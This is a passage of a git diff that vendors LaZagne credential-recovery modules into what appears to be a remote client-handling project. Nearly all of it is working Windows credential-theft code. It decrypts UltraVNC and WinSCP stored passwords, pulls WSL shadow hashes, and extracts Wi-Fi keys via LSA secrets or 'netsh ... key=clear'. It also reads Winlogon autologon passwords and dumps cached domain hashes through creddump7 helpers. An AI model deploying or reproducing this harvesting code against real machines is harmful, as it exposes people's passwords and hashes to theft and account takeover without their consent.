+ self.debug(u'Problems with decoding: {reg_key}'.format(reg_key=reg_key))
+ continue
+
+ values = {}
+ try:
+ password = self.reverse_vncpassword(enc_pwd)
+ if password:
+ values['Password'] = password
+ except Exception:
+ self.info(u'Problems with reverse_vncpassword: {reg_key}'.format(reg_key=reg_key))
+ self.debug()
+ continue
+
+ values['Server'] = vnc[0]
+ # values['Hash'] = enc_pwd
+ pfound.append(values)
+
+ return pfound
+
+ def vnc_from_filesystem(self):
+ # os.environ could be used here because paths are identical between users
+ pfound = []
+ vncs = (
+ ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd'),
+ ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd2'),
+ ('UltraVNC', os.environ['PROGRAMFILES'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd'),
+ ('UltraVNC', os.environ['PROGRAMFILES'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd2'),
+ ('UltraVNC', os.environ['PROGRAMFILES'] + '\\UltraVNC\\ultravnc.ini', 'passwd'),
+ ('UltraVNC', os.environ['PROGRAMFILES'] + '\\UltraVNC\\ultravnc.ini', 'passwd2'),
+ ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\UltraVNC\\ultravnc.ini', 'passwd'),
+ ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\UltraVNC\\ultravnc.ini', 'passwd2'),
+ )
+
+ for vnc in vncs:
+ string_to_match = vnc[2] + '='
+ enc_pwd = ''
+ try:
+ with open(vnc[1], 'r') as file:
+ for line in file:
+ if string_to_match in line:
+ enc_pwd = line.replace(string_to_match, '').replace('\n', '')
+ except Exception:
+ self.debug('Problems with file: {file}'.format(file=vnc[1]))
+ continue
+
+ values = {}
+ try:
+ password = self.reverse_vncpassword(enc_pwd)
+ if password:
+ values['Password'] = password
+ except Exception:
+ self.debug(u'Problems with reverse_vncpassword: {enc_pwd}'.format(enc_pwd=enc_pwd))
+ self.debug(traceback.format_exc())
+ continue
+
+ values['Server'] = vnc[0]
+ # values['Hash'] = enc_pwd
+ pfound.append(values)
+
+ return pfound
+
+ def vnc_from_process(self):
+ # Not yet implemented
+ return []
+
+ def run(self):
+ return self.vnc_from_filesystem() + self.vnc_from_registry() + self.vnc_from_process()
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/winscp.py b/foreign/client_handling/lazagne/softwares/sysadmin/winscp.py
new file mode 100644
index 0000000..b3bfe33
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/winscp.py
@@ -0,0 +1,129 @@
+# -*- coding: utf-8 -*-
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER
+
+
+class WinSCP(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'winscp', 'sysadmin', registry_used=True)
+ self.hash = ''
+
+ # ------------------------------ Getters and Setters ------------------------------
+ def decrypt_char(self):
+ hex_flag = 0xA3
+ charset = '0123456789ABCDEF'
+
+ if len(self.hash) > 0:
+ unpack1 = charset.find(self.hash[0])
+ unpack1 = unpack1 << 4
+
+ unpack2 = charset.find(self.hash[1])
+ result = ~((unpack1 + unpack2) ^ hex_flag) & 0xff
+
+ # store the new hash
+ self.hash = self.hash[2:]
+
+ return result
+
+ def check_winscp_installed(self):
+ try:
+ key = OpenKey(HKEY_CURRENT_USER, 'Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security')
+ return key
+ except Exception as e:
+ self.debug(str(e))
+ return False
+
+ def check_masterPassword(self, key):
+ is_master_pwd_used = winreg.QueryValueEx(key, 'UseMasterPassword')[0]
+ winreg.CloseKey(key)
+ if str(is_master_pwd_used) == '0':
+ return False
+ else:
+ return True
+
+ def get_credentials(self):
+ try:
+ key = OpenKey(HKEY_CURRENT_USER, 'Software\\Martin Prikryl\\WinSCP 2\\Sessions')
+ except Exception as e:
+ self.debug(str(e))
+ return False
+
+ pwd_found = []
+ num_profiles = winreg.QueryInfoKey(key)[0]
+ for n in range(num_profiles):
+ name_skey = winreg.EnumKey(key, n)
+ skey = OpenKey(key, name_skey)
+ num = winreg.QueryInfoKey(skey)[1]
+
+ values = {}
+ elements = {'HostName': 'URL', 'UserName': 'Login', 'PortNumber': 'Port', 'Password': 'Password'}
+ for nn in range(num):
+ k = winreg.EnumValue(skey, nn)
+
+ for e in elements:
+ if k[0] == e:
+ if e == 'Password':
+ try:
+ values['Password'] = self.decrypt_password(
+ username=values.get('Login', ''),
+ hostname=values.get('URL', ''),
+ _hash=k[1]
+ )
+ except Exception as e:
+ self.debug(str(e))
+ else:
+ values[elements[k[0]]] = str(k[1])
+
+ if num != 0:
+ if 'Port' not in values:
+ values['Port'] = '22'
+
+ pwd_found.append(values)
+
+ winreg.CloseKey(skey)
+ winreg.CloseKey(key)
+
+ return pwd_found
+
+ def decrypt_password(self, username, hostname, _hash):
+ self.hash = _hash
+ hex_flag = 0xFF
+
+ flag = self.decrypt_char()
+ if flag == hex_flag:
+ self.decrypt_char()
+ length = self.decrypt_char()
+ else:
+ length = flag
+
+ ldel = (self.decrypt_char()) * 2
+ self.hash = self.hash[ldel: len(self.hash)]
+
+ result = ''
+ for ss in range(length):
+
+ try:
+ result += chr(int(self.decrypt_char()))
+ except Exception as e:
+ self.debug(str(e))
+
+ if flag == hex_flag:
+ key = username + hostname
+ result = result[len(key): len(result)]
+
+ return result
+
+ def run(self):
+ winscp_key = self.check_winscp_installed()
+ if winscp_key:
+ if not self.check_masterPassword(winscp_key):
+ results = self.get_credentials()
+ if results:
+ return results
+ else:
+ self.warning(u'A master password is used. Passwords cannot been retrieved')
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/wsl.py b/foreign/client_handling/lazagne/softwares/sysadmin/wsl.py
new file mode 100644
index 0000000..b4e63e0
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/wsl.py
@@ -0,0 +1,44 @@
+# -*- coding: utf-8 -*-
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+
+import os
+
+
+class Wsl(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'wsl', 'sysadmin')
+
+ def run(self):
+ pwd_found = []
+ shadow_files_list = []
+
+ # Old WSL PATH
+ old_path = os.path.join(constant.profile['LOCALAPPDATA'], u'lxss\\rootfs\\etc\\shadow')
+
+ if os.path.exists(old_path):
+ shadow_files_list.append(old_path)
+
+ # New WSL PATH need to look into Package folder
+ new_path = os.path.join(constant.profile['LOCALAPPDATA'], u'Packages\\')
+ if os.path.exists(new_path):
+ for root, dirs, files in os.walk(new_path):
+ for file in files:
+ if file == "shadow":
+ shadow_files_list.append(os.path.join(root, file))
+
+ # Extract the hashes
+ for shadow in shadow_files_list:
+ with open(shadow, 'r') as shadow_file:
+ for line in shadow_file.readlines():
+ user_hash = line.replace('\n', '')
+ line = user_hash.split(':')
+
+ # Check if a password is defined
+ if not line[1] in ['x', '*', '!']:
+ pwd_found.append({
+ 'Hash': ':'.join(user_hash.split(':')[1:]),
+ 'Login': user_hash.split(':')[0].replace('\n', '')
+ })
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/wifi/__init__.py b/foreign/client_handling/lazagne/softwares/wifi/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/wifi/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/wifi/wifi.py b/foreign/client_handling/lazagne/softwares/wifi/wifi.py
new file mode 100644
index 0000000..fa69c1d
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/wifi/wifi.py
@@ -0,0 +1,97 @@
+# -*- coding: utf-8 -*-
+import os
+import sys
+import traceback
+
+from xml.etree.cElementTree import ElementTree
+from subprocess import Popen, PIPE
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+
+class Wifi(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'wifi', 'wifi')
+
+ def decrypt_using_lsa_secret(self, key):
+ """
+ Needs admin priv but will work with all systems
+ """
+ if constant.system_dpapi and constant.system_dpapi.unlocked:
+ decrypted_blob = constant.system_dpapi.decrypt_wifi_blob(key)
+ if decrypted_blob:
+ return decrypted_blob.decode(sys.getfilesystemencoding())
+
+ def decrypt_using_netsh(self, ssid):
+ """
+ Does not need admin priv but would work only with english and french systems
+ """
+ language_keys = [
+ 'key content', 'contenu de la cl', 'содержимое ключа'
+ ]
+ self.debug(u'Trying using netsh method')
+ process = Popen(['netsh.exe', 'wlan', 'show', 'profile', '{SSID}'.format(SSID=ssid), 'key=clear'],
+ stdin=PIPE,
+ stdout=PIPE,
+ stderr=PIPE)
+ stdout, stderr = process.communicate()
+ for st in stdout.decode().split('\n'):
+ if any(i in st.lower() for i in language_keys):
+ password = st.split(':')[1].strip()
+ return password
+
+ def run(self):
+ # Run the module only once
+ if not constant.wifi_password:
+ interfaces_dir = os.path.join(constant.profile['ALLUSERSPROFILE'],
+ u'Microsoft\\Wlansvc\\Profiles\\Interfaces')
+
+ # for windows Vista or higher
+ if os.path.exists(interfaces_dir):
+
+ pwd_found = []
+
+ for wifi_dir in os.listdir(interfaces_dir):
+ if os.path.isdir(os.path.join(interfaces_dir, wifi_dir)):
+
+ repository = os.path.join(interfaces_dir, wifi_dir)
+ for file in os.listdir(repository):
+ values = {}
+ if os.path.isfile(os.path.join(repository, file)):
+ f = os.path.join(repository, file)
+ tree = ElementTree(file=f)
+ root = tree.getroot()
+ xmlns = root.tag.split("}")[0] + '}'
+
+ for elem in tree.iter():
+ if elem.tag.endswith('SSID'):
+ for w in elem:
+ if w.tag == xmlns + 'name':
+ values['SSID'] = w.text
+
+ if elem.tag.endswith('authentication'):
+ values['Authentication'] = elem.text
+
+ if elem.tag.endswith('protected'):
+ values['Protected'] = elem.text
+
+ if elem.tag.endswith('keyMaterial'):
+ key = elem.text
+ try:
+ password = self.decrypt_using_lsa_secret(key=key)
+ if not password:
+ password = self.decrypt_using_netsh(ssid=values['SSID'])
+
+ if password:
+ values['Password'] = password
+ else:
+ values['INFO'] = '[!] Password not found.'
+ except Exception:
+ self.error(traceback.format_exc())
+ values['INFO'] = '[!] Password not found.'
+
+ if values and values.get('Authentication') != 'open':
+ pwd_found.append(values)
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/windows/__init__.py b/foreign/client_handling/lazagne/softwares/windows/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/windows/autologon.py b/foreign/client_handling/lazagne/softwares/windows/autologon.py
new file mode 100644
index 0000000..fb79561
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/autologon.py
@@ -0,0 +1,50 @@
+# -*- coding: utf-8 -*-
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import *
+
+# Password are stored in cleartext on old system (< 2008 R2 and < Win7)
+# If enabled on recent system, the password should be visible on the lsa secrets dump (check lsa module output)
+
+
+class Autologon(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'autologon', 'windows', registry_used=True, system_module=True)
+
+ def run(self):
+ pwd_found = []
+ try:
+ hkey = OpenKey(HKEY_LOCAL_MACHINE, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
+ if int(winreg.QueryValueEx(hkey, 'AutoAdminLogon')[0]) == 1:
+ self.debug(u'Autologin enabled')
+
+ keys = {
+ 'DefaultDomainName': '',
+ 'DefaultUserName': '',
+ 'DefaultPassword': '',
+ 'AltDefaultDomainName': '',
+ 'AltDefaultUserName': '',
+ 'AltDefaultPassword': '',
+ }
+
+ to_remove = []
+ for k in keys:
+ try:
+ keys[k] = str(winreg.QueryValueEx(hkey, k)[0])
+ except Exception:
+ to_remove.append(k)
+
+ for r in to_remove:
+ keys.pop(r)
+
+ if keys:
+ pwd_found.append(keys)
+
+ except Exception as e:
+ self.debug(str(e))
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/windows/cachedump.py b/foreign/client_handling/lazagne/softwares/windows/cachedump.py
new file mode 100644
index 0000000..4e9564e
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/cachedump.py
@@ -0,0 +1,19 @@
+# -*- coding: utf-8 -*-
+from .creddump7.win32.domcachedump import dump_file_hashes
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import get_os_version
+from foreign.client_handling.lazagne.config.constant import constant
+
+
+class Cachedump(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'mscache', 'windows', system_module=True)
+
+ def run(self):
+ is_vista_or_higher = False
+ if float(get_os_version()) >= 6.0:
+ is_vista_or_higher = True
+
+ mscache = dump_file_hashes(constant.hives['system'], constant.hives['security'], is_vista_or_higher)
+ if mscache:
+ return ['__MSCache__', mscache]
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/__init__.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/addrspace.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/addrspace.py
new file mode 100644
index 0000000..9b63a6c
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/addrspace.py
@@ -0,0 +1,144 @@
+# Volatility
+# Copyright (C) 2007 Volatile Systems
+#
+# Original Source:
+# Copyright (C) 2004,2005,2006 4tphi Research
+# Author: {npetroni,awalters}@4tphi.net (Nick Petroni and AAron Walters)
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or (at
+# your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+#
+
+"""
+@author: AAron Walters
+@license: GNU General Public License 2.0 or later
+@contact: awalters@volatilesystems.com
+@organization: Volatile Systems
+"""
+
+""" Alias for all address spaces """
+
+import os
+import struct
+
+
+class FileAddressSpace:
+ def __init__(self, fname, mode='rb', fast=False):
+ self.fname = fname
+ self.name = fname
+ self.fhandle = open(fname, mode)
+ self.fsize = os.path.getsize(fname)
+
+ if fast:
+ self.fast_fhandle = open(fname, mode)
+
+ def fread(self, len):
+ return self.fast_fhandle.read(len)
+
+ def read(self, addr, len):
+ self.fhandle.seek(addr)
+ return self.fhandle.read(len)
+
+ def read_long(self, addr):
+ string = self.read(addr, 4)
+ (longval,) = struct.unpack('L', string)
+ return longval
+
+ def get_address_range(self):
+ return [0, self.fsize - 1]
+
+ def get_available_addresses(self):
+ return [self.get_address_range()]
+
+ def is_valid_address(self, addr):
+ return addr < self.fsize - 1
+
+ def close(self):
+ self.fhandle.close()
+
+
+# Code below written by Brendan Dolan-Gavitt
+
+BLOCK_SIZE = 0x1000
+
+
+class HiveFileAddressSpace:
+ def __init__(self, fname):
+ self.fname = fname
+ self.base = FileAddressSpace(fname)
+
+ def vtop(self, vaddr):
+ return vaddr + BLOCK_SIZE + 4
+
+ def read(self, vaddr, length, zero=False):
+ first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE
+ full_blocks = ((length + (vaddr % BLOCK_SIZE)) / BLOCK_SIZE) - 1
+ left_over = (length + vaddr) % BLOCK_SIZE
+
+ paddr = self.vtop(vaddr)
+ if not paddr and zero:
+ if length < first_block:
+ return "\0" * length
+ else:
+ stuff_read = "\0" * first_block
+ elif not paddr:
+ return None
+ else:
+ if length < first_block:
+ stuff_read = self.base.read(paddr, length)
+ if not stuff_read and zero:
+ return "\0" * length
+ else:
+ return stuff_read
+
+ stuff_read = self.base.read(paddr, first_block)
+ if not stuff_read and zero:
+ stuff_read = "\0" * first_block
+
+ new_vaddr = vaddr + first_block
+ for i in range(0, full_blocks):
+ paddr = self.vtop(new_vaddr)
+ if not paddr and zero:
+ stuff_read = stuff_read + "\0" * BLOCK_SIZE
+ elif not paddr:
+ return None
+ else:
+ new_stuff = self.base.read(paddr, BLOCK_SIZE)
+ if not new_stuff and zero:
+ new_stuff = "\0" * BLOCK_SIZE
+ elif not new_stuff:
+ return None
+ else:
+ stuff_read = stuff_read + new_stuff
+ new_vaddr = new_vaddr + BLOCK_SIZE
+
+ if left_over > 0:
+ paddr = self.vtop(new_vaddr)
+ if not paddr and zero:
+ stuff_read = stuff_read + "\0" * left_over
+ elif not paddr:
+ return None
+ else:
+ stuff_read = stuff_read + self.base.read(paddr, left_over)
+ return stuff_read
+
+ def read_long_phys(self, addr):
+ string = self.base.read(addr, 4)
+ (longval,) = struct.unpack('L', string)
+ return longval
+
+ def is_valid_address(self, vaddr):
+ paddr = self.vtop(vaddr)
+ if not paddr: return False
+ return self.base.is_valid_address(paddr)
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/newobj.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/newobj.py
new file mode 100644
index 0000000..05d4b09
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/newobj.py
@@ -0,0 +1,315 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump. If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author: Brendan Dolan-Gavitt
+@license: GNU General Public License 2.0 or later
+@contact: bdolangavitt@wesleyan.edu
+"""
+
+from .object import *
+from .types import regtypes as types
+from operator import itemgetter
+from struct import unpack
+
+
+def get_ptr_type(structure, member):
+ """Return the type a pointer points to.
+
+ Arguments:
+ structure : the name of the structure from vtypes
+ member : a list of members
+
+ Example:
+ get_ptr_type('_EPROCESS', ['ActiveProcessLinks', 'Flink']) => ['_LIST_ENTRY']
+ """
+ if len(member) > 1:
+ _, tp = get_obj_offset(types, [structure, member[0]])
+ if tp == 'array':
+ return types[structure][1][member[0]][1][2][1]
+ else:
+ return get_ptr_type(tp, member[1:])
+ else:
+ return types[structure][1][member[0]][1][1]
+
+
+class Obj(object):
+ """Base class for all objects.
+
+ May return a subclass for certain data types to allow
+ for special handling.
+ """
+
+ def __new__(typ, name, address, space):
+ if name in globals():
+ # This is a bit of "magic"
+ # Could be replaced with a dict mapping type names to types
+ return globals()[name](name,address,space)
+ elif name in builtin_types:
+ return Primitive(name, address, space)
+ else:
+ obj = object.__new__(typ)
+ return obj
+
+ def __init__(self, name, address, space):
+ self.name = name
+ self.address = address
+ self.space = space
+
+ # Subclasses can add fields to this list if they want them
+ # to show up in values() or members(), even if they do not
+ # appear in the vtype definition
+ self.extra_members = []
+
+ def __getattribute__(self, attr):
+ try:
+ return object.__getattribute__(self, attr)
+ except AttributeError:
+ pass
+
+ if self.name in builtin_types:
+ raise AttributeError("Primitive types have no dynamic attributes")
+
+ try:
+ off, tp = get_obj_offset(types, [self.name, attr])
+ except Exception:
+ raise AttributeError("'%s' has no attribute '%s'" % (self.name, attr))
+
+ if tp == 'array':
+ a_len = types[self.name][1][attr][1][1]
+ l = []
+ for i in range(a_len):
+ a_off, a_tp = get_obj_offset(types, [self.name, attr, i])
+ if a_tp == 'pointer':
+ ptp = get_ptr_type(self.name, [attr, i])
+ l.append(Pointer(a_tp, self.address+a_off, self.space, ptp))
+ else:
+ l.append(Obj(a_tp, self.address+a_off, self.space))
+ return l
+ elif tp == 'pointer':
+ # Can't just return a Obj here, since pointers need to also
+ # know what type they point to.
+ ptp = get_ptr_type(self.name, [attr])
+ return Pointer(tp, self.address+off, self.space, ptp)
+ else:
+ return Obj(tp, self.address+off, self.space)
+
+ def __truediv__(self, other):
+ if isinstance(other, (tuple, list)):
+ return Pointer(other[0], self.address, self.space, other[1])
+ elif isinstance(other, str):
+ return Obj(other, self.address, self.space)
+ else:
+ raise ValueError("Must provide a type name as string for casting")
+
+ def __div__(self, other):
+ if isinstance(other, tuple) or isinstance(other, list):
+ return Pointer(other[0], self.address, self.space, other[1])
+ elif isinstance(other, str):
+ return Obj(other, self.address, self.space)
+ else:
+ raise ValueError("Must provide a type name as string for casting")
+
+ def members(self):
+ """Return a list of this object's members, sorted by offset."""
+
+ # Could also just return the list
+ membs = [(k, v[0]) for k,v in types[self.name][1].items()]
+ membs.sort(key=itemgetter(1))
+ return map(itemgetter(0),membs) + self.extra_members
+
+ def values(self):
+ """Return a dictionary of this object's members and their values"""
+
+ valdict = {}
+ for k in self.members():
+ valdict[k] = getattr(self, k)
+ return valdict
+
+ def bytes(self, length=-1):
+ """Get bytes starting at the address of this object.
+
+ Arguments:
+ length : the number of bytes to read. Default: size of
+ this object.
+ """
+
+ if length == -1:
+ length = self.size()
+ return self.space.read(self.address, length)
+
+ def size(self):
+ """Get the size of this object."""
+
+ if self.name in builtin_types:
+ return builtin_types[self.name][0]
+ else:
+ return types[self.name][0]
+
+ def __repr__(self):
+ return "<%s @%08x>" % (self.name, self.address)
+
+ def __eq__(self, other):
+ if not isinstance(other, Obj):
+ raise TypeError("Types are incomparable")
+ return self.address == other.address and self.name == other.name
+
+ def __ne__(self, other):
+ return not self.__eq__(other)
+
+ def __hash__(self):
+ return hash(self.address) ^ hash(self.name)
+
+ def is_valid(self):
+ return self.space.is_valid_address(self.address)
+
+ def get_offset(self, member):
+ return get_obj_offset(types, [self.name] + member)
+
+
+class Primitive(Obj):
+ """Class to represent a primitive data type.
+
+ Attributes:
+ value : the python primitive value of this type
+ """
+
+ def __new__(typ, *args, **kwargs):
+ obj = object.__new__(typ)
+ return obj
+
+ def __init__(self, name, address, space):
+ super(Primitive, self).__init__(name, address, space)
+ length, fmt = builtin_types[name]
+ data = space.read(address, length)
+ if not data:
+ self.value = None
+ else:
+ self.value = unpack(fmt,data)[0]
+
+ def __repr__(self):
+ return repr(self.value)
+
+ def members(self):
+ return []
+
+
+class Pointer(Obj):
+ """Class to represent pointers.
+
+ value : the object pointed to
+
+ If an attribute is not found in this instance,
+ the attribute will be looked up in the referenced
+ object."""
+
+ def __new__(typ, *args, **kwargs):
+ obj = object.__new__(typ)
+ return obj
+
+ def __init__(self, name, address, space, ptr_type):
+ super(Pointer, self).__init__(name, address, space)
+ ptr_address = read_value(space, name, address)
+ if ptr_type[0] == 'pointer':
+ self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1])
+ else:
+ self.value = Obj(ptr_type[0], ptr_address, self.space)
+
+ def __getattribute__(self, attr):
+ # It's still nice to be able to access things through pointers
+ # without having to explicitly dereference them, so if we don't
+ # find an attribute via our superclass, just dereference the pointer
+ # and return the attribute in the pointed-to type.
+ try:
+ return super(Pointer, self).__getattribute__(attr)
+ except AttributeError:
+ return getattr(self.value, attr)
+
+ def __repr__(self):
+ return "<pointer to [%s @%08x]>" % (self.value.name, self.value.address)
+
+ def members(self):
+ return self.value.members()
+
+
+class _UNICODE_STRING(Obj):
+ """Class representing a _UNICODE_STRING
+
+ Adds the following behavior:
+ * The Buffer attribute is presented as a Python string rather
+ than a pointer to an unsigned short.
+ * The __str__ method returns the value of the Buffer.
+ """
+
+ def __new__(typ, *args, **kwargs):
+ obj = object.__new__(typ)
+ return obj
+
+ def __str__(self):
+ return self.Buffer
+
+ # Custom Attributes
+ def getBuffer(self):
+ return read_unicode_string(self.space, types, [], self.address)
+ Buffer = property(fget=getBuffer)
+
+
+class _CM_KEY_NODE(Obj):
+ def __new__(typ, *args, **kwargs):
+ obj = object.__new__(typ)
+ return obj
+
+ def getName(self):
+ return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'], self.address, self.NameLength.value)
+ Name = property(fget=getName)
+
+
+class _CM_KEY_VALUE(Obj):
+ def __new__(typ, *args, **kwargs):
+ obj = object.__new__(typ)
+ return obj
+
+ def getName(self):
+ return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'], self.address, self.NameLength.value)
+ Name = property(fget=getName)
+
+
+class _CHILD_LIST(Obj):
+ def __new__(typ, *args, **kwargs):
+ obj = object.__new__(typ)
+ return obj
+
+ def getList(self):
+ lst = []
+ list_address = read_obj(self.space, types, ['_CHILD_LIST', 'List'], self.address)
+ for i in range(self.Count.value):
+ lst.append(Pointer("pointer", list_address+(i*4), self.space, ["_CM_KEY_VALUE"]))
+ return lst
+ List = property(fget=getList)
+
+
+class _CM_KEY_INDEX(Obj):
+ def __new__(typ, *args, **kwargs):
+ obj = object.__new__(typ)
+ return obj
+
+ def getList(self):
+ lst = []
+ for i in range(self.Count.value):
+ # we are ignoring the hash value here
+ off, tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2])
+ lst.append(Pointer("pointer", self.address+off, self.space, ["_CM_KEY_NODE"]))
+ return lst
+ List = property(fget=getList)
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/object.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/object.py
new file mode 100644
index 0000000..d2fa04b
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/object.py
@@ -0,0 +1,179 @@
+# Volatools Basic
+# Copyright (C) 2007 Komoku, Inc.
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or (at
+# your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+#
+
+"""
+@author: AAron Walters and Nick Petroni
+@license: GNU General Public License 2.0 or later
+@contact: awalters@komoku.com, npetroni@komoku.com
+@organization: Komoku, Inc.
+"""
+
+import struct
+
+builtin_types = {
+ 'int': (4, 'i'),
+ 'long': (4, 'i'),
+ 'unsigned long': (4, 'I'),
+ 'unsigned int': (4, 'I'),
+ 'address': (4, 'I'),
+ 'char': (1, 'c'),
+ 'unsigned char': (1, 'B'),
+ 'unsigned short': (2, 'H'),
+ 'short': (2, 'h'),
+ 'long long': (8, 'q'),
+ 'unsigned long long': (8, 'Q'),
+ 'pointer': (4, 'I'),
+}
+
+
+def obj_size(types, objname):
+ if objname not in types:
+ raise Exception('Invalid type %s not in types' % objname)
+
+ return types[objname][0]
+
+
+def builtin_size(builtin):
+ if builtin not in builtin_types:
+ raise Exception('Invalid built-in type %s' % builtin)
+
+ return builtin_types[builtin][0]
+
+
+def read_value(addr_space, value_type, vaddr):
+ """
+ Read the low-level value for a built-in type.
+ """
+
+ if value_type not in builtin_types:
+ raise Exception('Invalid built-in type %s' % value_type)
+
+ type_unpack_char = builtin_types[value_type][1]
+ type_size = builtin_types[value_type][0]
+
+ buf = addr_space.read(vaddr, type_size)
+ if buf is None:
+ return None
+
+ try:
+ (val,) = struct.unpack(type_unpack_char, buf)
+ except Exception:
+ return None
+
+ return val
+
+
+def read_unicode_string(addr_space, types, member_list, vaddr):
+ offset = 0
+ if len(member_list) > 1:
+ (offset, current_type) = get_obj_offset(types, member_list)
+
+ buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset)
+ length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset)
+
+ if length == 0x0:
+ return ""
+
+ if buf is None or length is None:
+ return None
+
+ readBuf = read_string(addr_space, types, ['char'], buf, length)
+
+ if readBuf is None:
+ return None
+
+ try:
+ readBuf = readBuf.decode('UTF-16').encode('ascii')
+ except Exception:
+ return None
+
+ return readBuf
+
+
+def read_string(addr_space, types, member_list, vaddr, max_length=256):
+ offset = 0
+ if len(member_list) > 1:
+ (offset, current_type) = get_obj_offset(types, member_list)
+
+ val = addr_space.read(vaddr + offset, max_length)
+
+ return val
+
+
+def read_null_string(addr_space, types, member_list, vaddr, max_length=256):
+ string = read_string(addr_space, types, member_list, vaddr, max_length)
+
+ if string is None:
+ return None
+
+ if string.find('\0') == -1:
+ return string
+ (string, none) = string.split('\0', 1)
+ return string
+
+
+def get_obj_offset(types, member_list):
+ """
+ Returns the (offset, type) pair for a given list
+ """
+ member_list.reverse()
+
+ current_type = member_list.pop()
+
+ offset = 0
+ current_member = 0
+ member_dict = None
+
+ while len(member_list) > 0:
+ if current_type == 'array':
+ if member_dict:
+ current_type = member_dict[current_member][1][2][0]
+ if current_type in builtin_types:
+ current_type_size = builtin_size(current_type)
+ else:
+ current_type_size = obj_size(types, current_type)
+ index = member_list.pop()
+ offset += index * current_type_size
+ continue
+
+ elif current_type not in types:
+ raise Exception('Invalid type ' + current_type)
+
+ member_dict = types[current_type][1]
+
+ current_member = member_list.pop()
